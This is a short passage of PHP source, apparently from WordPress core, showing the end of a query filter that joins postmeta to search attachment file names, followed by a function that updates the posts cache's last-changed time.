6550 remove_filter( 'posts_clauses', __FUNCTION__ );
6551
6552 // Add a LEFT JOIN of the postmeta table so we don't trample existing JOINs.
6553 $clauses['join'] .= " LEFT JOIN {$wpdb->postmeta} AS sq1 ON ( {$wpdb->posts}.ID = sq1.post_id AND sq1.meta_key = '_wp_attached_file' )";
6554
6555 $clauses['groupby'] = "{$wpdb->posts}.ID";
6556
6557 $clauses['where'] = preg_replace(
6558 "/\({$wpdb->posts}.post_content (NOT LIKE|LIKE) (\'[^']+\')\)/",
6559 "$0 OR ( sq1.meta_value $1 $2 )",
6560 $clauses['where'] );
6561
6562 return $clauses;
6563}
6564
6565/**
6566 * Sets the last changed time for the 'posts' cache group.
6567 *
6568 * @since 5.0.0
6569 */
6570function wp_cache_set_posts_last_changed() {
6571 wp_cache_set( 'last_changed', microtime(), 'posts' );
6572}